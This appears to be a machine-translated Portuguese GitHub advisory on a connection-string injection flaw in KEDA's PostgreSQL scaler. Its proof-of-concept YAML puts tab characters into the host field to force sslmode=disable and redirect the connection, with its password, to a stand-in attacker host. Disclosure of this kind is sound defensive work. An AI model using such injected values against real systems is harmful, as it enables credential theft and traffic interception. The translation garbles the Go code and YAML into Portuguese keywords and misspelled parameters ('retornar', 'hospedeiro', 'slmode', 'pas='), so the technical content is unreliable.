### Sumário `pkg/scalers/postgresql_scaler.go` constrói strings de conexão em estilo libpq, concatenando pares `key=value' separados por espaços. Cada campo controlável pelo locatário (`host`, `port`, `userName`, `dbName`, `slmode`) é passado por `escapePostgreConnectionParameter`: ``` go func escapePostgreConnectionParameter(str string) string { se!strings.Contém(str, ") { retornar str // retorna como- é para qualquer espaço branco não- espacial } str = strings.ReplaceAll(str, "'", "\\'") retornar fmt.Sprintf("'%s'", str) } ``` A função só escapa quando um espaço literal **** está presente. Por documentação libpq/pgx, os parâmetros também são separados por **tabs, linhas novas, devoluções de transporte e feeds de formulário**, e os retroespaldes são analisados dentro das strings citados. Como esses caracteres não são detectados, um valor fornecido pelo inquilino como `mydb\tsslmode=disable\thost=atacker.example.com` divide- se em símbolos adicionais `key=value` quando analisados pelo pgx, injetando parâmetros de conexão controlados pelo atacante. ### Código vulnerável `pkg/scalers/postgresql_scaler.go`, linhas 155 – 164 e 250 – 257. ### Inquilinos de Impacto com a capacidade de criar um `TriggerAuthentication` ou `ScaledObject` que pobla qualquer um dos `host`, `port`, `userName`, `dbName`, `slmode` pode: - **Força `sslmode=disable`** numa conexão que o proprietário do cluster pretendia ser apenas TLS — baixando silenciosamente para o texto simples e habilitando o MitM no caminho. - **Redirecione a conexão para um host controlado pelo atacante** (`host=...`) para roubar as credenciais que o operador fornece através da palavra-chave `pas=`. - Adicione os parâmetros arbitrários do tempo de execução do libpq (`opções=`, `application_name=`, `target_session_atrs=`) para o comportamento do pivot.

Nota: o parâmetro senha é anexado **último** no `buildConnArray`, que limita mas não elimina a exfiltração credencial — a injeção `host=` ainda redireciona o alvo da palavra-chave `password=` subsequente. ### Prova do conceito ```yaml dispara: - tipo: metadados postgresql: hospedeiro: "legit.db.svc\tsslmode=disable\thost=atacker.exemplo.com" port: " 5432 " userName: "keda" dbName: "metrics" sslmode: "require" query: "SELECTION 1 " ```` Após `escapePostgreConnectionParameter` (sem espaço → devolvido inalterado), a string de conexão resultante é analisada pelo pgx em parâmetros que incluem `host=atacker.exemplo.com` e `slmode=disable'.

### Correção sugerida - Escapar / rejeitar qualquer espaço ASCII (`\t`, `\n`, `\r`, `\f`, `\v`, espaço) e backslash. - Preferir o formulário URI (`postgres://user:pass@host:port/ db?sslmode=require`) com a correta codificação de URL. - Valide cada campo contra um padrão de lista de autorização antes do uso. ### Recursos - `pkg/scalers/postgresql_scaler.go` - string de conexão libpq analisando. Registro de aconselhamento: GHSA- 6 w 3 m- 4 HHP- 775 q. Identificadores relacionados: CVE- 2026 - 53572.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 07 T 23: 44: 13.000 Z e lista a sua última modificação como 2026 - 07 - 07 T 23: 44: 13.000 Z. Gravidade: MODERAR. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N.

Informações sobre software e versão afetadas: Go pacote github.com/kedacore/keda/v 2 — ECOSISTEM: introduzido 0, corrigido 2.20.0. Classificação e evidência: identificadores de fraqueza CWE- 74, CWE- 89. O registro contém 2 suporte de referências nestes tipos: WEB, PACKAGE.